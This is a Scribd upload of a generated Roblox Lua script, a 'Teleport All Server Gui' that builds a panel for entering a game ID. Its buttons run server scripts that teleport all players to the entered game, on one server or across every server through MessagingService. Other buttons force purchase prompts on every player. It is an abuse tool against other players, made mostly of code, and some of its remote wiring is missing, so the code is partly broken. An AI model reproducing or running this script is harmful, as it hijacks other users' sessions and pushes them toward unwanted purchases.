0% found this document useful (0 votes)
35 views5 pages

Aaaaa

Uploaded by

siusao1201
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
35 views5 pages

Aaaaa

Uploaded by

siusao1201
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 5

-- Gui to Lua

-- Version: 3.2

-- Instances:

local TeleportAllServerGui = Instance.new("ScreenGui")


local Frame = Instance.new("Frame")
local TextLabel = Instance.new("TextLabel")
local TextLabel_2 = Instance.new("TextLabel")
local Input = Instance.new("TextBox")
local Exec = Instance.new("TextButton")
local Exec2 = Instance.new("TextButton")
local Exec3 = Instance.new("TextButton")
local Exec3_2 = Instance.new("TextButton")

--Properties:

TeleportAllServerGui.Name = "Teleport All Server Gui"


TeleportAllServerGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
TeleportAllServerGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling

Frame.Parent = TeleportAllServerGui
Frame.BackgroundColor3 = Color3.fromRGB(72, 72, 72)
Frame.BorderColor3 = Color3.fromRGB(0, 0, 0)
Frame.BorderSizePixel = 0
Frame.Position = UDim2.new(0.517609417, 0, 0.219298244, 0)
Frame.Size = UDim2.new(0, 411, 0, 410)
Frame.Visible = false

TextLabel.Parent = Frame
TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel.BackgroundTransparency = 1.000
TextLabel.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel.BorderSizePixel = 0
TextLabel.Position = UDim2.new(0, 0, -0.158689022, 0)
TextLabel.Size = UDim2.new(0, 411, 0, 50)
TextLabel.Font = Enum.Font.SourceSansBold
TextLabel.Text = "Teleport All Server Gui"
TextLabel.TextColor3 = Color3.fromRGB(0, 0, 0)
TextLabel.TextScaled = true
TextLabel.TextSize = 14.000
TextLabel.TextWrapped = true

TextLabel_2.Parent = Frame
TextLabel_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_2.BackgroundTransparency = 1.000
TextLabel_2.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_2.BorderSizePixel = 0
TextLabel_2.Position = UDim2.new(0, 0, -0.0626524389, 0)
TextLabel_2.Size = UDim2.new(0, 411, 0, 19)
TextLabel_2.Font = Enum.Font.SourceSansBold
TextLabel_2.Text = "By Realh00pkidd6"
TextLabel_2.TextColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_2.TextScaled = true
TextLabel_2.TextSize = 14.000
TextLabel_2.TextWrapped = true

Input.Name = "Input"
Input.Parent = Frame
Input.BackgroundColor3 = Color3.fromRGB(83, 83, 83)
Input.BorderColor3 = Color3.fromRGB(27, 42, 53)
Input.BorderSizePixel = 0
Input.ClipsDescendants = true
Input.Position = UDim2.new(-0.0449971668, 36, 0.0311836433, 0)
Input.Size = UDim2.new(0.911975324, 0, 0.124245025, 0)
Input.Font = Enum.Font.SourceSans
Input.PlaceholderColor3 = Color3.fromRGB(255, 255, 255)
Input.PlaceholderText = "Your ID Game"
Input.Text = ""
Input.TextColor3 = Color3.fromRGB(255, 255, 255)
Input.TextScaled = true
Input.TextSize = 14.000
Input.TextWrapped = true

Exec.Name = "Exec"
Exec.Parent = Frame
Exec.BackgroundColor3 = Color3.fromRGB(83, 83, 83)
Exec.BorderColor3 = Color3.fromRGB(27, 42, 53)
Exec.BorderSizePixel = 0
Exec.Position = UDim2.new(0.0419517942, 0, 0.445859581, 11)
Exec.Size = UDim2.new(0.912617862, 0, 0.128893077, 0)
Exec.ZIndex = 2
Exec.AutoButtonColor = false
Exec.Font = Enum.Font.SourceSans
Exec.Text = "Teleport All Servers"
Exec.TextColor3 = Color3.fromRGB(255, 255, 255)
Exec.TextScaled = true
Exec.TextSize = 45.000
Exec.TextWrapped = true

Exec2.Name = "Exec2"
Exec2.Parent = Frame
Exec2.BackgroundColor3 = Color3.fromRGB(83, 83, 83)
Exec2.BorderColor3 = Color3.fromRGB(27, 42, 53)
Exec2.BorderSizePixel = 0
Exec2.Position = UDim2.new(0.0425752141, 0, 0.389871359, -25)
Exec2.Size = UDim2.new(0.911994159, 0, 0.116697878, 0)
Exec2.ZIndex = 2
Exec2.AutoButtonColor = false
Exec2.Font = Enum.Font.SourceSans
Exec2.Text = "Teleport This Server"
Exec2.TextColor3 = Color3.fromRGB(255, 255, 255)
Exec2.TextScaled = true
Exec2.TextSize = 45.000
Exec2.TextWrapped = true

Exec3.Name = "Exec3"
Exec3.Parent = Frame
Exec3.BackgroundColor3 = Color3.fromRGB(83, 83, 83)
Exec3.BorderColor3 = Color3.fromRGB(27, 42, 53)
Exec3.BorderSizePixel = 0
Exec3.Position = UDim2.new(0.0408751406, 0, 0.954853356, -54)
Exec3.Size = UDim2.new(0.913694203, 0, 0.137488678, 0)
Exec3.ZIndex = 2
Exec3.AutoButtonColor = false
Exec3.Font = Enum.Font.SourceSans
Exec3.Text = "PromptPurchase All Servers"
Exec3.TextColor3 = Color3.fromRGB(255, 255, 255)
Exec3.TextScaled = true
Exec3.TextSize = 45.000
Exec3.TextWrapped = true

Exec3_2.Name = "Exec3"
Exec3_2.Parent = Frame
Exec3_2.BackgroundColor3 = Color3.fromRGB(83, 83, 83)
Exec3_2.BorderColor3 = Color3.fromRGB(27, 42, 53)
Exec3_2.BorderSizePixel = 0
Exec3_2.Position = UDim2.new(0.0418387838, 0, 0.902792037, -110)
Exec3_2.Size = UDim2.new(0.912730396, 0, 0.141088203, 0)
Exec3_2.ZIndex = 2
Exec3_2.AutoButtonColor = false
Exec3_2.Font = Enum.Font.SourceSans
Exec3_2.Text = "PromptPurchase"
Exec3_2.TextColor3 = Color3.fromRGB(255, 255, 255)
Exec3_2.TextScaled = true
Exec3_2.TextSize = 45.000
Exec3_2.TextWrapped = true

-- Scripts:

local function AUGA_fake_script() -- Frame.Dragify


local script = Instance.new('LocalScript', Frame)

local UIS = game:GetService("UserInputService")


function dragify(Frame)
dragToggle = nil
local dragSpeed = 0
dragInput = nil
dragStart = nil
local dragPos = nil
function updateInput(input)
local Delta = input.Position - dragStart
local Position = UDim2.new(startPos.X.Scale, startPos.X.Offset +
Delta.X, startPos.Y.Scale, startPos.Y.Offset + Delta.Y)
game:GetService("TweenService"):Create(Frame, TweenInfo.new(0.25),
{Position = Position}):Play()
end
Frame.InputBegan:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or
input.UserInputType == Enum.UserInputType.Touch) and UIS:GetFocusedTextBox() == nil
then
dragToggle = true
dragStart = input.Position
startPos = Frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragToggle = false
end
end)
end
end)
Frame.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or
input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
game:GetService("UserInputService").InputChanged:Connect(function(input)
if input == dragInput and dragToggle then
updateInput(input)
end
end)
end

dragify(script.Parent)
end
coroutine.wrap(AUGA_fake_script)()
local function VRMSEC_fake_script() -- Input.ChangeScript
local script = Instance.new('LocalScript', Input)

script.Parent.Changed:Connect(function()
script.Change:FireServer(script.Parent.Text)
end)
end
coroutine.wrap(VRMSEC_fake_script)()
local function JPMQI_fake_script() -- Exec.Script
local script = Instance.new('Script', Exec)

local exec = script.Parent


local input =
script.Parent.Parent.Input.ChangeScript.Change.ChangeRemoteHandler.num
local MessagingService = game:GetService("MessagingService")
local TeleportService = game:GetService("TeleportService")

exec.MouseButton1Down:Connect(function()
local publishSuccess, publishResult = pcall(function()
local message = input.Value
MessagingService:PublishAsync("GlobalReplicate", message)
end)
if not publishSuccess then
return
end
end)

end
coroutine.wrap(JPMQI_fake_script)()
local function HEZMBN_fake_script() -- Exec2.Script
local script = Instance.new('Script', Exec2)

local exec = script.Parent


local input =
script.Parent.Parent.Input.ChangeScript.Change.ChangeRemoteHandler.num
local TeleportService = game:GetService("TeleportService")

exec.MouseButton1Click:Connect(function()
local data = input.Value
for i,v in pairs(game.Players:GetChildren()) do
if v:IsInGroup(3592788) then
else
TeleportService:Teleport(data, v)
end
end
end)

end
coroutine.wrap(HEZMBN_fake_script)()
local function QJHWHF_fake_script() -- Exec3.Script
local script = Instance.new('Script', Exec3)

local exec = script.Parent


local input =
script.Parent.Parent.Input.ChangeScript.Change.ChangeRemoteHandler.num
local MessagingService = game:GetService("MessagingService")
local TeleportService = game:GetService("TeleportService")

exec.MouseButton1Click:Connect(function()
local publishSuccess, publishResult = pcall(function()
local message = input.Value
MessagingService:PublishAsync("GlobalPrompt", message)
end)
if not publishSuccess then
return
end
end)

end
coroutine.wrap(QJHWHF_fake_script)()
local function UEKLUZ_fake_script() -- Exec3_2.Script
local script = Instance.new('Script', Exec3_2)

local exec = script.Parent


local input =
script.Parent.Parent.Input.ChangeScript.Change.ChangeRemoteHandler.num
local MS = game:GetService("MarketplaceService")

exec.MouseButton1Click:Connect(function()
local data = input.Value
for i,v in pairs(game.Players:GetChildren()) do

MS:PromptPurchase(v,data)
end
end)

end
coroutine.wrap(UEKLUZ_fake_script)()

You might also like